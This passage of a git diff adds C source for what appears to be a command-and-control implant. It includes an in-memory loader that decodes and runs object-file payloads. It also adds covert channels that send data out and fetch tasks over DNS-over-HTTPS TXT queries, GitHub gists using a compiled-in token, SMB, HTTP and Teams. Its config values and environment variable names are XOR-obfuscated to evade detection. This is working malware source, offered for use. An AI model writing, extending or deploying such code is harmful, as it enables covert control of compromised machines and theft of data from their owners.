+static int _build_thunks(const coff_hdr_t *hdr, const coff_sym_t *symtab,
+ const char *strtab, thunk_pair_t *pairs)
+{
+ DWORD ext = 0;
+ for (DWORD si = 0; si < hdr->NumberOfSymbols;
+ si += 1 + symtab[si].NumberOfAuxSymbols)
+ {
+ const coff_sym_t *sym = symtab + si;
+ if (sym->SectionNumber == 0 && sym->StorageClass == 2)
+ ext++;
+ }
+ if (!ext)
+ return 1;
+ g_thunk_count = ext;
+
+ DWORD ptr_block = ext * THUNK_PTR_SZ;
+ DWORD jmp_block = ext * THUNK_JMP_SZ;
+ DWORD total = ptr_block + jmp_block + 64; /* tiny padding */
+
+ g_thunk_block = (BYTE *)VirtualAlloc(NULL, total,
+ MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
+ if (!g_thunk_block)
+ return 0;
+
+ BYTE *ptr_base = g_thunk_block;
+ BYTE *jmp_base = g_thunk_block + ptr_block;
+
+ DWORD idx = 0;
+ for (DWORD si = 0; si < hdr->NumberOfSymbols;
+ si += 1 + symtab[si].NumberOfAuxSymbols)
+ {
+ const coff_sym_t *sym = symtab + si;
+ if (sym->SectionNumber != 0 || sym->StorageClass != 2)
+ continue;
+
+ char sname[512] = {0};
+ _sym_name(sym, strtab, sname, sizeof(sname));
+
+ char dll[64] = {0}, fn[256] = {0};
+ _parse_sym(sname, dll, sizeof(dll), fn, sizeof(fn));
+
+ void *target = _resolve_win32(fn, dll[0] ? dll : NULL);
+
+ BYTE *pt = ptr_base + idx * THUNK_PTR_SZ;
+ *(void **)pt = target;
+
+ BYTE *jt = jmp_base + idx * THUNK_JMP_SZ;
+ jt[0] = 0xFF;
+ jt[1] = 0x25;
+ jt[2] = 0;
+ jt[3] = 0;
+ jt[4] = 0;
+ jt[5] = 0;
+ *(void **)(jt + 6) = target;
+
+ pairs[si] = (thunk_pair_t){pt, jt};
+ idx++;
+ }
+
+ DWORD old;
+ _vp(jmp_base, jmp_block, PAGE_EXECUTE_READ, &old);
+ return 1;
+}
+
+int cmd_bof(const char *coff_b64, const char *args_b64,
+ char *output_buf, size_t output_sz)
+{
+ if (!coff_b64 || !output_buf || !output_sz)
+ return -1;
+ output_buf[0] = '\0';
+
+ size_t coff_sz = 0;
+ uint8_t *coff = base64_decode(coff_b64, &coff_sz);
+ if (!coff || coff_sz < sizeof(coff_hdr_t))
+ {
+ snprintf(output_buf, output_sz, "[bof] b64 decode fail\n");
+ if (coff)
+ free(coff);
+ return -1;
+ }
+
+ char *args = NULL;
+ int args_len = 0;
+ if (args_b64 && args_b64[0])
+ {
+ size_t alen = 0;
+ args = (char *)base64_decode(args_b64, &alen);
+ args_len = (int)alen;
+ }
+ (void)args_len;
+
+ const coff_hdr_t *hdr = (const coff_hdr_t *)coff;
+ if (hdr->Machine != IMAGE_FILE_MACHINE_AMD64)
+ {
+ snprintf(output_buf, output_sz,
+ "[bof] not x64 COFF (machine=0x%04X)\n", hdr->Machine);
+ free(coff);
+ if (args)
+ free(args);
+ return -1;
+ }
+
+ const coff_sec_t *secs = (const coff_sec_t *)(coff + sizeof(coff_hdr_t));
+ const coff_sym_t *symtab = (const coff_sym_t *)(coff + hdr->PointerToSymbolTable);
+ const char *strtab = (const char *)(symtab + hdr->NumberOfSymbols);
+
+ WORD nsec = hdr->NumberOfSections;
+ BYTE **mapped = (BYTE **)calloc(nsec, sizeof(BYTE *));
+ thunk_pair_t *pairs = (thunk_pair_t *)calloc(
+ hdr->NumberOfSymbols ? hdr->NumberOfSymbols : 1, sizeof(thunk_pair_t));
+
+ if (!mapped || !pairs)
+ goto fail;
+
+ for (WORD i = 0; i < nsec; i++)
+ {
+ DWORD sz = secs[i].SizeOfRawData;
+ DWORD vsz = secs[i].VirtualSize ? secs[i].VirtualSize : sz;
+ if (!sz && !vsz)
+ continue;
+ DWORD alloc_sz = (sz > vsz ? sz : vsz) + 16;
+
+ mapped[i] = (BYTE *)VirtualAlloc(NULL, alloc_sz,
+ MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
+ if (!mapped[i])
+ {
+ snprintf(output_buf, output_sz, "[bof] alloc fail sec %d\n", i);
+ goto fail;
+ }
+
+ if (sz && secs[i].PointerToRawData)
+ memcpy(mapped[i], coff + secs[i].PointerToRawData, sz);
+ /* BSS (uninit data) stays zeroed from VirtualAlloc */
+ }
+
+ if (!_build_thunks(hdr, symtab, strtab, pairs))
+ {
+ snprintf(output_buf, output_sz, "[bof] thunk alloc fail\n");
+ goto fail;
+ }
+
+ for (WORD i = 0; i < nsec; i++)
+ {
+ if (!mapped[i] || !secs[i].NumberOfRelocations)
+ continue;
+ const coff_reloc_t *relocs =
+ (const coff_reloc_t *)(coff + secs[i].PointerToRelocations);
+
+ for (WORD ri = 0; ri < secs[i].NumberOfRelocations; ri++)
+ {
+ DWORD sym_idx = relocs[ri].SymbolTableIndex;
+ WORD type = relocs[ri].Type;
+ BYTE *site = mapped[i] + relocs[ri].VirtualAddress;
+
+ if (sym_idx >= hdr->NumberOfSymbols)
+ continue;
+ const coff_sym_t *sym = symtab + sym_idx;
+
+ BYTE *target = NULL;
+ int is_ext = (sym->SectionNumber == 0 && sym->StorageClass == 2);
+
+ if (!is_ext && sym->SectionNumber > 0 && sym->SectionNumber <= nsec)
+ {
+ int si2 = sym->SectionNumber - 1;
+ if (mapped[si2])
+ target = mapped[si2] + sym->Value;
+ }
+
+ switch (type)
+ {
+ case IMAGE_REL_AMD64_ADDR64:
+ if (is_ext && pairs[sym_idx].ptr)
+ *(DWORD64 *)site = (DWORD64)(uintptr_t)pairs[sym_idx].ptr;
+ else if (target)
+ *(DWORD64 *)site += (DWORD64)(uintptr_t)target;
+ break;
+
+ case IMAGE_REL_AMD64_ADDR32:
+ if (target)
+ *(DWORD *)site += (DWORD)(uintptr_t)target;
+ break;
+
+ case IMAGE_REL_AMD64_ADDR32NB:
+ if (target)
+ *(DWORD *)site += (DWORD)((uintptr_t)target - (uintptr_t)_peb_self_base());
+ break;
+
+ case IMAGE_REL_AMD64_REL32:
+ case IMAGE_REL_AMD64_REL32_1:
+ case IMAGE_REL_AMD64_REL32_2:
+ case IMAGE_REL_AMD64_REL32_3:
+ case IMAGE_REL_AMD64_REL32_4:
+ case IMAGE_REL_AMD64_REL32_5:
+ {
+ DWORD addend = type - IMAGE_REL_AMD64_REL32;
+ BYTE *dest = NULL;
+ if (is_ext)
+ {
+ /* for __imp_ use ptr thunk, for direct refs use jmp thunk */
+ char sname[512] = {0};
+ _sym_name(sym, strtab, sname, sizeof(sname));
+ int is_imp = (strncmp(sname, "__imp_", 6) == 0);
+ dest = is_imp ? pairs[sym_idx].ptr : pairs[sym_idx].jmp;
+ }
+ else
+ {
+ dest = target;
+ }
+ if (dest)
+ {
+ // internal section refs carry the section offset as existing site value
+ DWORD sec_addend = is_ext ? 0 : *(DWORD *)site;
+ *(DWORD *)site = (DWORD)((uintptr_t)dest + sec_addend
+ - ((uintptr_t)site + 4 + addend));
+ }
+ break;
+ }
+ default:
+ break;
+ }
+ }
+ }
+
+ for (WORD i = 0; i < nsec; i++)
+ {
+ if (!mapped[i])
+ continue;
+ if (secs[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
+ {
+ DWORD old;
+ DWORD sz = secs[i].SizeOfRawData ? secs[i].SizeOfRawData
+ : secs[i].VirtualSize;
+ _vp(mapped[i], sz + 16, PAGE_EXECUTE_READ, &old);
+ }
+ }
+
+ typedef void(__cdecl * go_fn_t)(char *, int);
+ go_fn_t go_fn = NULL;
+
+ for (DWORD si = 0; si < hdr->NumberOfSymbols && !go_fn;
+ si += 1 + symtab[si].NumberOfAuxSymbols)
+ {
+ const coff_sym_t *sym = symtab + si;
+ if (sym->SectionNumber <= 0)
+ continue;
+
+ char sname[512] = {0};
+ _sym_name(sym, strtab, sname, sizeof(sname));
+
+ if (strcmp(sname, "go") == 0)
+ {
+ int sec_idx = sym->SectionNumber - 1;
+ if (sec_idx < nsec && mapped[sec_idx])
+ go_fn = (go_fn_t)(void *)(mapped[sec_idx] + sym->Value);
+ }
+ }
+
+ if (!go_fn)
+ {
+ snprintf(output_buf, output_sz, "[bof] 'go' not found\n");
+ goto fail;
+ }
+
+ g_out = output_buf;
+ g_out_sz = output_sz;
+ g_out_off = 0;
+
+#ifdef _MSC_VER
+ __try
+ {
+ go_fn(args, args_len);
+ }
+ __except (EXCEPTION_EXECUTE_HANDLER)
+ {
+ size_t av = output_sz - g_out_off - 1;
+ if (av > 0)
+ {
+ char err[64];
+ int n = snprintf(err, sizeof(err),
+ "[bof] exception 0x%08lX\n",
+ (unsigned long)GetExceptionCode());
+ if (n > 0)
+ _append(err, (size_t)n);
+ }
+ }
+#else
+ go_fn(args, args_len);
+#endif
+
+ g_out = NULL;
+
+fail:
+ if (mapped)
+ {
+ for (WORD i = 0; i < nsec; i++)
+ if (mapped[i])
+ VirtualFree(mapped[i], 0, MEM_RELEASE);
+ free(mapped);
+ }
+ if (g_thunk_block)
+ {
+ VirtualFree(g_thunk_block, 0, MEM_RELEASE);
+ g_thunk_block = NULL;
+ g_thunk_count = 0;
+ }
+ if (pairs)
+ free(pairs);
+ if (args)
+ free(args);
+ if (coff)
+ free(coff);
+ return 0;
+}
diff --git a/agent/src/channels/doh.c b/agent/src/channels/doh.c
new file mode 100644
index 0000000..d961e19
--- /dev/null
+++ b/agent/src/channels/doh.c
@@ -0,0 +1,213 @@
+#include "channels.h"
+#include "util.h"
+#include
+#include
+#include
+#include
+
+#ifndef CURLSSLOPT_NATIVE_CA
+#define CURLSSLOPT_NATIVE_CA (1<<4)
+#endif
+
+/* accumulates HTTP response data */
+
+typedef struct {
+ char *data;
+ size_t len;
+} curl_buf_t;
+
+static size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
+{
+ curl_buf_t *buf = (curl_buf_t *)userdata;
+ size_t nb = size * nmemb;
+ char *tmp = realloc(buf->data, buf->len + nb + 1);
+ if (!tmp) return 0;
+ buf->data = tmp;
+ memcpy(buf->data + buf->len, ptr, nb);
+ buf->len += nb;
+ buf->data[buf->len] = '\0';
+ return nb;
+}
+
+/* send a DoH TXT query, return raw JSON response */
+
+static char *doh_query_txt(const char *doh_server, const char *fqdn)
+{
+ char url[512];
+ snprintf(url, sizeof(url), "%s?name=%s&type=TXT", doh_server, fqdn);
+
+ CURL *curl = curl_easy_init();
+ if (!curl) return NULL;
+
+ curl_buf_t resp = {0};
+
+ char ua_hdr[320];
+ snprintf(ua_hdr, sizeof(ua_hdr), "User-Agent: %s", random_ua());
+
+ struct curl_slist *hdrs = NULL;
+ hdrs = curl_slist_append(hdrs, "Accept: application/dns-json");
+ hdrs = curl_slist_append(hdrs, ua_hdr);
+
+ curl_apply_opsec(curl);
+ curl_easy_setopt(curl, CURLOPT_URL, url);
+ curl_easy_setopt(curl, CURLOPT_HTTPHEADER, hdrs);
+ curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
+ curl_easy_setopt(curl, CURLOPT_WRITEDATA, &resp);
+ curl_easy_setopt(curl, CURLOPT_TIMEOUT, 15L);
+
+ CURLcode res = curl_easy_perform(curl);
+ long code = 0;
+ curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &code);
+ curl_slist_free_all(hdrs);
+ curl_easy_cleanup(curl);
+
+ if (res != CURLE_OK || code != 200) {
+ free(resp.data);
+ return NULL;
+ }
+ return resp.data;
+}
+
+static char *doh_extract_txt(const char *response)
+{
+ /* Find first "type":16 entry */
+ const char *p = response;
+ while ((p = strstr(p, "\"type\":16")) != NULL) {
+ const char *d = strstr(p, "\"data\"");
+ if (!d) break;
+ d += strlen("\"data\"");
+ while (*d == ' ' || *d == ':') d++;
+ if (*d != '"') { p++; continue; }
+ d++;
+
+ /* TXT data may be wrapped in extra quotes: "\"value\"" */
+ if (*d == '\\' && *(d+1) == '"') d += 2;
+
+ size_t i = 0, cap = 2048;
+ char *out = malloc(cap);
+ if (!out) return NULL;
+ while (*d && *d != '"') {
+ if (*d == '\\' && *(d+1) == '"') { /* closing escaped quote */ break; }
+ if (i + 2 >= cap) {
+ cap *= 2;
+ char *tmp = realloc(out, cap);
+ if (!tmp) { free(out); return NULL; }
+ out = tmp;
+ }
+ out[i++] = *d++;
+ }
+ out[i] = '\0';
+ if (i == 0) { free(out); p++; continue; }
+ return out;
+ }
+ return NULL;
+}
+
+/* base32 encoding for valid DNS labels */
+
+static const char B32_ALPHABET[] = "abcdefghijklmnopqrstuvwxyz234567";
+
+static size_t b32_encode(const uint8_t *in, size_t in_len, char *out)
+{
+ size_t i = 0, j = 0;
+ uint32_t acc = 0;
+ int bits = 0;
+
+ for (i = 0; i < in_len; i++) {
+ acc = (acc << 8) | in[i];
+ bits += 8;
+ while (bits >= 5) {
+ bits -= 5;
+ out[j++] = B32_ALPHABET[(acc >> bits) & 0x1F];
+ }
+ }
+ if (bits > 0)
+ out[j++] = B32_ALPHABET[(acc << (5 - bits)) & 0x1F];
+ out[j] = '\0';
+ return j;
+}
+
+/* derive send/recv labels from the first/last 4 chars of agent_id */
+
+static void doh_get_labels(const char *agent_id, char *send_lbl, char *recv_lbl)
+{
+
+ send_lbl[0] = agent_id[0]; send_lbl[1] = agent_id[1];
+ send_lbl[2] = agent_id[2]; send_lbl[3] = agent_id[3];
+ send_lbl[4] = '\0';
+
+ recv_lbl[0] = agent_id[4]; recv_lbl[1] = agent_id[5];
+ recv_lbl[2] = agent_id[6]; recv_lbl[3] = agent_id[7];
+ recv_lbl[4] = '\0';
+}
+
+/* split b64 payload into DNS TXT queries */
+
+#define DOH_CHUNK_BYTES 30
+
+int doh_send(const channel_config_t *cfg, const char *agent_id, const char *b64)
+{
+ if (!cfg->doh_domain[0]) return CHANNEL_ERR;
+
+ char send_lbl[8], recv_lbl[8];
+ doh_get_labels(agent_id, send_lbl, recv_lbl);
+
+ size_t b64_len = strlen(b64);
+ size_t offset = 0;
+ int seq = 0;
+ int ok = 1;
+
+ while (offset < b64_len) {
+ size_t chunk = b64_len - offset;
+ if (chunk > DOH_CHUNK_BYTES) chunk = DOH_CHUNK_BYTES;
+
+ char b32_label[64];
+ b32_encode((const uint8_t *)b64 + offset, chunk, b32_label);
+
+ char fqdn[256];
+ snprintf(fqdn, sizeof(fqdn), "%s.%02d.%s.%s.%s",
+ b32_label, seq, send_lbl, agent_id, cfg->doh_domain);
+
+ char *resp = doh_query_txt(cfg->doh_server, fqdn);
+ if (resp) free(resp);
+ else { ok = 0; }
+
+ offset += chunk;
+ seq++;
+ }
+
+ /* end-of-stream marker */
+ char fqdn_done[256];
+ snprintf(fqdn_done, sizeof(fqdn_done), "%s.%02d.%s.%s.%s",
+ send_lbl, seq, send_lbl, agent_id, cfg->doh_domain);
+ char *resp = doh_query_txt(cfg->doh_server, fqdn_done);
+ if (resp) free(resp);
+
+ return ok ? CHANNEL_OK : CHANNEL_RETRY;
+}
+
+/* fetch pending task from a TXT DNS record */
+
+char *doh_recv(const channel_config_t *cfg, const char *agent_id)
+{
+ if (!cfg->doh_domain[0]) return NULL;
+
+ char send_lbl[8], recv_lbl[8];
+ doh_get_labels(agent_id, send_lbl, recv_lbl);
+
+ char fqdn[256];
+ snprintf(fqdn, sizeof(fqdn), "%s.%s.%s", recv_lbl, agent_id, cfg->doh_domain);
+
+ char *resp = doh_query_txt(cfg->doh_server, fqdn);
+ if (!resp) return NULL;
+
+ char *txt = doh_extract_txt(resp);
+ free(resp);
+
+ /* Empty or "null" = no pending task */
+ if (txt && (txt[0] == '\0' || strcmp(txt, "null") == 0)) {
+ free(txt);
+ return NULL;
+ }
+ return txt;
+}
diff --git a/agent/src/channels/github.c b/agent/src/channels/github.c
new file mode 100644
index 0000000..f8399d9
--- /dev/null
+++ b/agent/src/channels/github.c
@@ -0,0 +1,301 @@
+#include "channels.h"
+#include "agent_config.h"
+#include "crypto.h"
+#include "util.h"
+#include
+#include
+#include
+#include
+
+#ifndef CURLSSLOPT_NATIVE_CA
+#define CURLSSLOPT_NATIVE_CA (1<<4)
+#endif
+
+/* decode a XOR-obfuscated config value */
+static void cfg_decode(const unsigned char *src, size_t len, char *dst)
+{
+ for (size_t i = 0; i < len; i++)
+ dst[i] = (char)(src[i] ^ CFG_XOR_KEY[i % CFG_XOR_KEY_LEN]);
+ dst[len] = '\0';
+}
+
+/* accumulates HTTP response data */
+
+typedef struct {
+ char *data;
+ size_t len;
+} curl_buf_t;
+
+static size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
+{
+ curl_buf_t *buf = (curl_buf_t *)userdata;
+ size_t new_bytes = size * nmemb;
+ char *tmp = realloc(buf->data, buf->len + new_bytes + 1);
+ if (!tmp) return 0;
+ buf->data = tmp;
+ memcpy(buf->data + buf->len, ptr, new_bytes);
+ buf->len += new_bytes;
+ buf->data[buf->len] = '\0';
+ return new_bytes;
+}
+
+/* HTTPS request to the GitHub API, GET or PATCH */
+
+typedef enum { HTTP_GET, HTTP_PATCH } http_method_t;
+
+static char *github_request(const char *token, const char *url,
+ http_method_t method, const char *body_json)
+{
+ CURL *curl = curl_easy_init();
+ if (!curl) return NULL;
+
+ curl_buf_t resp = {0};
+
+ struct curl_slist *hdrs = NULL;
+ char auth_hdr[320];
+ char ua_hdr[320];
+ snprintf(auth_hdr, sizeof(auth_hdr), "Authorization: token %s", token);
+ snprintf(ua_hdr, sizeof(ua_hdr), "User-Agent: %s", random_ua());
+ hdrs = curl_slist_append(hdrs, auth_hdr);
+ hdrs = curl_slist_append(hdrs, "Accept: application/vnd.github+json");
+ hdrs = curl_slist_append(hdrs, "Content-Type: application/json");
+ hdrs = curl_slist_append(hdrs, ua_hdr);
+ hdrs = curl_slist_append(hdrs, "X-GitHub-Api-Version: 2022-11-28");
+
+ curl_apply_opsec(curl);
+ curl_easy_setopt(curl, CURLOPT_URL, url);
+ curl_easy_setopt(curl, CURLOPT_HTTPHEADER, hdrs);
+ curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
+ curl_easy_setopt(curl, CURLOPT_WRITEDATA, &resp);
+ curl_easy_setopt(curl, CURLOPT_TIMEOUT, 30L);
+ curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
+
+ if (method == HTTP_PATCH) {
+ curl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, "PATCH");
+ if (body_json) {
+ curl_easy_setopt(curl, CURLOPT_POSTFIELDS, body_json);
+ curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(body_json));
+ }
+ }
+
+ CURLcode res = curl_easy_perform(curl);
+ long http_code = 0;
+ curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
+
+ curl_slist_free_all(hdrs);
+ curl_easy_cleanup(curl);
+
+ if (res != CURLE_OK || (http_code < 200 || http_code >= 300)) {
+ free(resp.data);
+ return NULL;
+ }
+ return resp.data;
+}
+
+/* extract the "content" field for filename from a gist JSON response */
+
+static char *gist_extract_content(const char *response, const char *filename)
+{
+ char needle[128];
+ snprintf(needle, sizeof(needle), "\"%s\"", filename);
+ const char *p = strstr(response, needle);
+ if (!p) return NULL;
+
+ /* find content field after the filename key */
+ p = strstr(p, "\"content\"");
+ if (!p) return NULL;
+ p += strlen("\"content\"");
+ while (*p == ' ' || *p == ':' || *p == ' ') p++;
+ if (*p != '"') return NULL;
+ p++;
+
+ /* read until closing quote */
+ size_t cap = 1024, len = 0;
+ char *out = malloc(cap);
+ if (!out) return NULL;
+
+ while (*p && *p != '"') {
+ if (len + 4 >= cap) {
+ cap *= 2;
+ char *tmp = realloc(out, cap);
+ if (!tmp) { free(out); return NULL; }
+ out = tmp;
+ }
+ if (*p == '\\' && *(p+1)) {
+ p++; /* skip backslash */
+ switch (*p) {
+ case 'n': out[len++] = '\n'; break;
+ case 'r': out[len++] = '\r'; break;
+ case 't': out[len++] = '\t'; break;
+ default: out[len++] = *p; break;
+ }
+ } else {
+ out[len++] = *p;
+ }
+ p++;
+ }
+ out[len] = '\0';
+
+ /* nothing to return */
+ if (len == 0 || strcmp(out, "null") == 0) {
+ free(out);
+ return NULL;
+ }
+ return out;
+}
+
+/* init config: compiled XOR values first, then env var overrides */
+void channel_config_init(channel_config_t *cfg)
+{
+ memset(cfg, 0, sizeof(*cfg));
+
+ /* decode compiled-in values */
+ if (CFG_GITHUB_TOKEN_LEN)
+ cfg_decode(CFG_GITHUB_TOKEN, CFG_GITHUB_TOKEN_LEN, cfg->github_token);
+ if (CFG_GIST_CMD_ID_LEN)
+ cfg_decode(CFG_GIST_CMD_ID, CFG_GIST_CMD_ID_LEN, cfg->gist_cmd_id);
+ if (CFG_GIST_OUT_ID_LEN)
+ cfg_decode(CFG_GIST_OUT_ID, CFG_GIST_OUT_ID_LEN, cfg->gist_out_id);
+ if (CFG_TEAMS_TENANT_LEN)
+ cfg_decode(CFG_TEAMS_TENANT, CFG_TEAMS_TENANT_LEN, cfg->teams_tenant_id);
+ if (CFG_TEAMS_CLIENT_LEN)
+ cfg_decode(CFG_TEAMS_CLIENT, CFG_TEAMS_CLIENT_LEN, cfg->teams_client_id);
+ if (CFG_TEAMS_SECRET_LEN)
+ cfg_decode(CFG_TEAMS_SECRET, CFG_TEAMS_SECRET_LEN, cfg->teams_client_secret);
+ if (CFG_TEAMS_WEBHOOK_LEN)
+ cfg_decode(CFG_TEAMS_WEBHOOK, CFG_TEAMS_WEBHOOK_LEN, cfg->teams_webhook_url);
+ if (CFG_TEAMS_TEAM_ID_LEN)
+ cfg_decode(CFG_TEAMS_TEAM_ID, CFG_TEAMS_TEAM_ID_LEN, cfg->teams_team_id);
+ if (CFG_TEAMS_CHANNEL_LEN)
+ cfg_decode(CFG_TEAMS_CHANNEL, CFG_TEAMS_CHANNEL_LEN, cfg->teams_channel_id);
+ if (CFG_BEACON_URL_LEN)
+ cfg_decode(CFG_BEACON_URL, CFG_BEACON_URL_LEN, cfg->beacon_url);
+ if (CFG_DOH_DOMAIN_LEN)
+ cfg_decode(CFG_DOH_DOMAIN, CFG_DOH_DOMAIN_LEN, cfg->doh_domain);
+#if defined(CFG_SMB_HOST_LEN) && CFG_SMB_HOST_LEN > 0
+ cfg_decode(CFG_SMB_HOST, CFG_SMB_HOST_LEN, cfg->smb_host);
+#endif
+#if defined(CFG_SMB_PIPE_LEN) && CFG_SMB_PIPE_LEN > 0
+ cfg_decode(CFG_SMB_PIPE, CFG_SMB_PIPE_LEN, cfg->smb_pipe);
+#endif
+
+ strncpy(cfg->doh_server,
+ "https://cloudflare-dns.com/dns-query",
+ sizeof(cfg->doh_server) - 1);
+
+ /* env var overrides for dev/test — names are XOR'd to avoid plaintext strings */
+#define ENV_XOR 0xa5
+
+ /* XOR-encoded env var names */
+ static const unsigned char k_env_gh_token[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xe2,0xec,0xf1,0xed,0xf0,0xe7,0xfa,0xf1,0xea,0xee,0xe0,0xeb};
+ static const unsigned char k_env_gist_cmd[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xe2,0xec,0xf6,0xf1,0xfa,0xe6,0xe8,0xe1};
+ static const unsigned char k_env_gist_out[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xe2,0xec,0xf6,0xf1,0xfa,0xea,0xf0,0xf1};
+ static const unsigned char k_env_teams_tenant[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf1,0xe0,0xe4,0xe8,0xf6,0xfa,0xf1,0xe0,0xeb,0xe4,0xeb,0xf1};
+ static const unsigned char k_env_teams_client[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf1,0xe0,0xe4,0xe8,0xf6,0xfa,0xe6,0xe9,0xec,0xe0,0xeb,0xf1};
+ static const unsigned char k_env_teams_secret[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf1,0xe0,0xe4,0xe8,0xf6,0xfa,0xf6,0xe0,0xe6,0xf7,0xe0,0xf1};
+ static const unsigned char k_env_teams_wh[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf1,0xe0,0xe4,0xe8,0xf6,0xfa,0xf2,0xe0,0xe7,0xed,0xea,0xea,0xee};
+ static const unsigned char k_env_teams_team[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf1,0xe0,0xe4,0xe8,0xf6,0xfa,0xf1,0xe0,0xe4,0xe8};
+ static const unsigned char k_env_teams_chan[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf1,0xe0,0xe4,0xe8,0xf6,0xfa,0xe6,0xed,0xe4,0xeb,0xeb,0xe0,0xe9};
+ static const unsigned char k_env_beacon_url[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xe7,0xe0,0xe4,0xe6,0xea,0xeb,0xfa,0xf0,0xf7,0xe9};
+ static const unsigned char k_env_doh_server[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xe1,0xea,0xed,0xfa,0xf6,0xe0,0xf7,0xf3,0xe0,0xf7};
+ static const unsigned char k_env_doh_domain[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xe1,0xea,0xed,0xfa,0xe1,0xea,0xe8,0xe4,0xec,0xeb};
+ /* LEGITC2_SMB_HOST */
+ static const unsigned char k_env_smb_host[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf6,0xe8,0xe7,0xfa,0xed,0xea,0xf6,0xf1};
+ /* LEGITC2_SMB_PIPE */
+ static const unsigned char k_env_smb_pipe[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf6,0xe8,0xe7,0xfa,0xf5,0xec,0xf5,0xe0};
+
+#define OVERRIDE(enc_key, field) do { \
+ char _kb[64] = {0}; \
+ volatile unsigned char _x = ENV_XOR; \
+ for (size_t _i = 0; _i < sizeof(enc_key); _i++) \
+ _kb[_i] = (char)(enc_key[_i] ^ _x); \
+ const char *_v = getenv(_kb); \
+ if (_v) strncpy(cfg->field, _v, sizeof(cfg->field) - 1); \
+ memset(_kb, 0, sizeof(_kb)); \
+ } while (0)
+
+ OVERRIDE(k_env_gh_token, github_token);
+ OVERRIDE(k_env_gist_cmd, gist_cmd_id);
+ OVERRIDE(k_env_gist_out, gist_out_id);
+ OVERRIDE(k_env_teams_tenant, teams_tenant_id);
+ OVERRIDE(k_env_teams_client, teams_client_id);
+ OVERRIDE(k_env_teams_secret, teams_client_secret);
+ OVERRIDE(k_env_teams_wh, teams_webhook_url);
+ OVERRIDE(k_env_teams_team, teams_team_id);
+ OVERRIDE(k_env_teams_chan, teams_channel_id);
+ OVERRIDE(k_env_beacon_url, beacon_url);
+ OVERRIDE(k_env_doh_server, doh_server);
+ OVERRIDE(k_env_doh_domain, doh_domain);
+ OVERRIDE(k_env_smb_host, smb_host);
+ OVERRIDE(k_env_smb_pipe, smb_pipe);
+#undef OVERRIDE
+#undef ENV_XOR
+}
+
+/* upload encrypted b64 beacon to the output gist */
+int github_send(const channel_config_t *cfg, const char *agent_id, const char *b64)
+{
+ if (!cfg->github_token[0] || !cfg->gist_out_id[0]) return CHANNEL_ERR;
+
+ char url[256];
+ snprintf(url, sizeof(url),
+ "https://api.github.com/gists/%s", cfg->gist_out_id);
+
+ /* build PATCH JSON body */
+ size_t body_sz = strlen(b64) + 128;
+ char *body = malloc(body_sz);
+ if (!body) return CHANNEL_ERR;
+
+ snprintf(body, body_sz,
+ "{\"files\":{\"%s_1x.bin\":{\"content\":\"%s\"}}}",
+ agent_id, b64);
+
+ char *resp = github_request(cfg->github_token, url, HTTP_PATCH, body);
+ free(body);
+
+ if (!resp) return CHANNEL_ERR;
+ free(resp);
+ return CHANNEL_OK;
+}
+
+/* fetch pending task from the command gist, NULL if nothing */
+char *github_recv(const channel_config_t *cfg, const char *agent_id)
+{
+ if (!cfg->github_token[0] || !cfg->gist_cmd_id[0]) return NULL;
+
+ char url[256];
+ snprintf(url, sizeof(url),
+ "https://api.github.com/gists/%s", cfg->gist_cmd_id);
+
+ char *resp = github_request(cfg->github_token, url, HTTP_GET, NULL);
+ if (!resp) return NULL;
+
+ char filename[64];
+ snprintf(filename, sizeof(filename), "%s_0x.bin", agent_id);
+ char *content = gist_extract_content(resp, filename);
+ free(resp);
+
+ return content;
+}
+
+/* try channels in priority order */
+
+int channel_send(const channel_config_t *cfg, const char *agent_id, const char *b64)
+{
+ if (cfg->smb_host[0] && smb_send(cfg, agent_id, b64) == CHANNEL_OK) return CHANNEL_OK;
+ if (github_send(cfg, agent_id, b64) == CHANNEL_OK) return CHANNEL_OK;
+ if (cfg->beacon_url[0] && http_send(cfg, agent_id, b64) == CHANNEL_OK) return CHANNEL_OK;
+ if (cfg->teams_tenant_id[0] && teams_send(cfg, agent_id, b64) == CHANNEL_OK) return CHANNEL_OK;
+ return doh_send(cfg, agent_id, b64);
+}
+
+char *channel_recv(const channel_config_t *cfg, const char *agent_id)
+{
+ char *result;
+
+ if (cfg->smb_host[0]) { result = smb_recv(); if (result) return result; }
+ result = github_recv(cfg, agent_id); if (result) return result;
+ result = http_recv(); if (result) return result;
+ if (cfg->teams_tenant_id[0]) { result = teams_recv(cfg, agent_id); if (result) return result; }
+ return doh_recv(cfg, agent_id);
+}
diff --git a/agent/src/channels/http.c b/agent/src/channels/http.c
new file mode 100644
index 0000000..738bf20
--- /dev/null
+++ b/agent/src/channels/http.c
@@ -0,0 +1,407 @@
+#include "channels.h"
+#include "crypto.h"
+#include "util.h"
+#include "agent_config.h"
+#include "evs_strings.h"
